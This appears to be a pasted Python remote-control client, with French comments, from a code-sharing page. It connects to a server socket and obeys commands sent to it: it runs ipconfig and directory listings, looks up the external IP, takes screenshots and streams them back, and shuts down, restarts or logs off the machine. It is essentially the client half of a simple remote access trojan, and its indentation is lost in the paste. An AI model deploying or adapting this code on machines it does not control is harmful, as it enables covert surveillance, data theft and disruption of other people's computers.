1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102
| import socket
import os
import sys
import subprocess
from PIL import ImageGrab
from datetime import datetime as dt
from urllib.request import urlopen
def sendconfirm():
server_co.send(b'Command Executed / ' + location.encode())
hote = '127.0.0.1'
port = 25565
# location = os.path.realpath(sys.argv[0]);
location = os.getcwd()
location = location.replace("\\client.py","")
location = location.replace("\\client.exe","")
server_co = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
try:
server_co.connect((hote, port))
except:
print("Serveur indisponible")
exit()
print("Connexion établie avec le serveur sur le port {}".format(port))
msg_recu = b""
while msg_recu != b"stop":
msg_recu = server_co.recv(1024)
# L'instruction ci-dessous peut lever une exception si le message
# Réceptionné comporte des accents
if msg_recu != b"stop":
if msg_recu == b"ipconfig":
p = subprocess.Popen('ipconfig /all', stdout=subprocess.PIPE, shell=True)
out, error = p.communicate()
server_co.send(out + b'\n')
elif msg_recu == b'dir':
p = subprocess.Popen('dir "'+ location + '"', stdout=subprocess.PIPE, shell=True)
out, error = p.communicate()
server_co.send(out + b'\n')
elif msg_recu == b'externIP':
addr = urlopen('http://ip.42.pl/raw').read()
server_co.send(b"Addresse IP: " + addr + b'\n')
elif msg_recu == b'screenshot':
d1 = dt.now().strftime("%Y-%m-%d %H%M%S")
screenshot = ImageGrab.grab()
screenshot.save(str(str(d1) + ".png"), 'png')
#server_co.send(b'Screenshot taken. Location: ' + location.encode() + b'\n')
file = str(str(d1)+".png")+ " (" + str(os.path.getsize(d1+".png"))
server_co.send(file.encode())
with open(str(str(d1) + ".png"), 'rb') as f:
bytesToSend = f.read(1024)
server_co.send(bytesToSend)
while bytesToSend != "":
bytesToSend = f.read(1024)
server_co.send(bytesToSend)
else:
msg_recu = msg_recu.decode()
if msg_recu == "shutdown":
os.system("shutdown /s /t 0")
server_co.send(b'System will be stopped \n')
if msg_recu == "restart":
os.system("shutdown /r /t 0")
server_co.send(b'System will be restarted \n')
msg_recu = msg_recu.split(" ")
if msg_recu[0] == "close" and msg_recu[1] == "session":
os.system("shutdown /l")
server_co.send(b'Session will be locked \n')
if msg_recu[0] == "mkdir":
os.system("mkdir \"" + os.getcwd() + "\\" + msg_recu[1] + "\"")
server_co.send(b'Folder created \n')
if len(msg_recu) > 1:
if msg_recu[0] == "cd":
if msg_recu[1] != "..":
path = location+ '\\' + msg_recu[1]
if os.path.isdir(path):
location+='\\' + msg_recu[1]
os.chdir(location)
print(location)
elif msg_recu[1] != "":
location = location.split("\\")
location.remove(location[len(location) - 1])
location = "\\".join(location)
os.chdir(location)
else:
pass
else:
pass
sendconfirm()
print("Fermeture de la connexion")
server_co.close()
os.system("pause") |
Partager